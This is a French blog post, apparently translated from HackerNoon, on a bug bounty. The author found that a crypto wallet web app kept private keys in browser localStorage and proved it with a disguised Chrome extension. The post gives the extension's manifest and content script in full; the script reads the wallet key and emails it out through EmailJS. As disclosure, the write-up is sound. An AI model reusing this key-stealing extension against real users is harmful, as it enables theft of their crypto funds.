paint-brush
Comment j'ai trouvé une vulnérabilité dans un portefeuille cryptographique et gagné 1 000 $par@akrisanov
614 lectures
614 lectures

Comment j'ai trouvé une vulnérabilité dans un portefeuille cryptographique et gagné 1 000 $

par Andrey Krisanov4m2023/10/25
Read on Terminal Reader

Trop long; Pour lire

👉🏻 Conseil aux développeurs d'applications : soyez conscient des technologies que vous utilisez et de leurs aspects de sécurité. 💡 Conseils aux utilisateurs de crypto : découvrez quelles options de sécurité une organisation vous propose, activez l'authentification à deux facteurs dès que vous créez un compte wallet, ne stockez pas tous vos fonds dans des hot wallets.
featured image - Comment j'ai trouvé une vulnérabilité dans un portefeuille cryptographique et gagné 1 000 $
Andrey Krisanov HackerNoon profile picture
0-item
1-item
2-item

En janvier 2022, j’ai rejoint la communauté d’une des blockchains proof-of-stake. Pour jouer avec ce que proposait le protocole et son écosystème, j'ai créé un compte wallet sur le site officiel https://wallet.****.org . Outre la curiosité générale, j'étais intéressé par la manière dont ils assuraient la sécurité dans un navigateur, en particulier à l'ère des extensions et des vulnérabilités côté client.


Il s'est avéré que lorsqu'un utilisateur se connectait, l'application de portefeuille (intégrée à React) générait un ensemble de clés publiques et privées et les stockait dans le stockage local du navigateur. Avec mon expérience dans la création d'authentification et d'autorisation dans des systèmes distribués, je savais que ce n'était pas la meilleure chose à faire – en général, il est facile pour une extension de navigateur et un code côté client de lire les données du stockage local[ 1 ].


Pour le prouver, j'ai décidé d'écrire une simple extension pour Chrome qui récupérerait les clés du navigateur d'une victime et les enverrait à mon adresse e-mail anonyme.


Le répertoire racine de mon extension pickpocket ressemblait à ceci :


 . ├── content.js ├── email.min.js ├── index.html └── manifest.json


Les fichiers principaux sont manifest.json et content.js . Le premier est indispensable pour installer l’extension.


 { "name": "X Wallet Enhancement", "version": "1.0", "manifest_version": 3, "content_scripts": [ { "matches": [ "https://wallet.****.org/*" ], "js": [ "email.min.js", "content.js" ] } ] }


email.min.js n'est qu'une bibliothèque client de l'un des services cloud qui vous permet d'envoyer des e-mails directement depuis un navigateur sans aucun code serveur. index.html est une page HTML vierge qui n'affiche rien. La logique du détournement de portefeuille résidait dans le fichier content.js :


 emailjs.init('user_****'); // instantiating an email delivery service let templateParams = { // gathering information about the victim's browser from_name: navigator.userAgent, // fetching wallet keys from the local storage storage: window.localStorage.getItem('_*:wallet:active_account_id_**'), }; // using a prepared email template to send an email with keys const serviceID = 'service_****'; const templateID = 'template_****'; emailjs.send(serviceID, templateID, templateParams) .then(() => { console.log("Wallet keys were send!"); }, (err) => { console.error(JSON.stringify(err)); });

Oui, un script tellement factice.


J'ai emballé les quatre fichiers dans une archive zip et j'ai gentiment demandé à mon ami, qui possédait également un portefeuille sur https://wallet.***.org , d'installer ma création dans son navigateur (en faisant semblant de faire de l'ingénierie sociale). Avant de le faire, je lui ai fait part de mes découvertes et de la théorie que j'essayais de prouver. Il était heureux de m'aider et les clés publiques et privées de ce compte portefeuille sont apparues dans ma boîte de réception quelques secondes après l'installation de l'extension du navigateur. Ensuite, j'ai enregistré les clés du stockage local dans mon navigateur et ouvert le site Web du portefeuille.


Étonnamment, le solde du portefeuille cryptographique de mon ami était à ma disposition, ainsi qu'une option de retrait des fonds. Lors d'un appel Zoom avec mon ami victime, j'ai transféré une partie de ses fonds vers un compte anonyme et inversement. C'était hallucinant ! Une nouvelle blockchain prometteuse qui avait récemment clôturé un cycle d’investissement présentait une vulnérabilité majeure dans son portefeuille. Pire encore, ils disposaient d’une authentification à 2 facteurs pour les utilisateurs. Bien sûr, peu de gens l’activeraient immédiatement, et beaucoup ne l’ont pas fait.


En tant que développeur éthique, j'ai créé un rapport de vulnérabilité, comprenant le code source de l'extension du navigateur et mes réflexions sur la façon d'améliorer la sécurité de l'application Web. Il a été envoyé directement à l'adresse e-mail de l'équipe de sécurité le 18 janvier. Quelques jours plus tard, j'ai eu un appel avec le RSSI du protocole blockchain, qui m'a assuré qu'il était au courant du problème et qu'il le réglerait dans la prochaine version. J'ai été un peu déçu de la rapidité de la réponse à l'incident. Deux jours, c'est une éternité quand on parle de l'argent des utilisateurs. Néanmoins, les développeurs de blockchain m'ont accordé leurs tokens pour un montant équivalent à 1000 USDT.


👉🏻 Conseil aux développeurs d'applications : soyez conscient des technologies que vous utilisez et de leurs aspects de sécurité.


💡 Conseils aux utilisateurs de crypto : découvrez quelles options de sécurité une organisation vous propose, activez l'authentification à deux facteurs dès que vous créez un compte wallet, ne stockez pas tous vos fonds dans des hot wallets.


A lire


Également publié ici .